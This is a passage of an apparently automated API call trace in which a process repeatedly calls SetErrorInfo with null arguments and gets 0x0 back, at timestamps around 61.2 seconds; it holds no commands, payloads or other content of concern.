perrinfo=0x0) returned 0x0 [0061.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.213] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.214] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.215] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.216] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.219] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.221] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.222] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.223] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.224] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.225] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.226] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.227] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.228] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.229] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.230] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.232] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.233] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.235] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.236] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.236] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.236] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.236] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.237] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.237] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.237] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.237] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.238] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.238] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.238] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.238] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.239] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.239] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.239] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.239] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.240] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.240] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.240] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.240] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.241] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.241] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.241] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.241] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.241] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.241] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.242] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.242] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.242] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.242] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.243] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.243] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.243] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.244] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.244] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.244] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.244] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.247] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.247] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.247] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.247] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.248] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.248] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.248] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.248] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.249] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.249] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.249] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.249] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.250] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.250] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.250] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.250] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.250] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.251] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.251] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.251] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.251] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.252] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.252] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.252] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.252] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.252] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.253] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.253] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.253] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.253] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.253] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.254] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.254] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.254] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.254] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.254] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.255] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.255] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.255] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.255] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.255] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.256] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.256] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.256] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.256] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.257] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.257] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.257] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.257] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.257] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.258] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.259] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.259] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.259] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.259] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.260] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.261] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.273] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.274] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.275] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.277] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.278] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.279] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.280] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.281] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.282] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0061.283] SetErrorInfo (dwReserved=0x0, 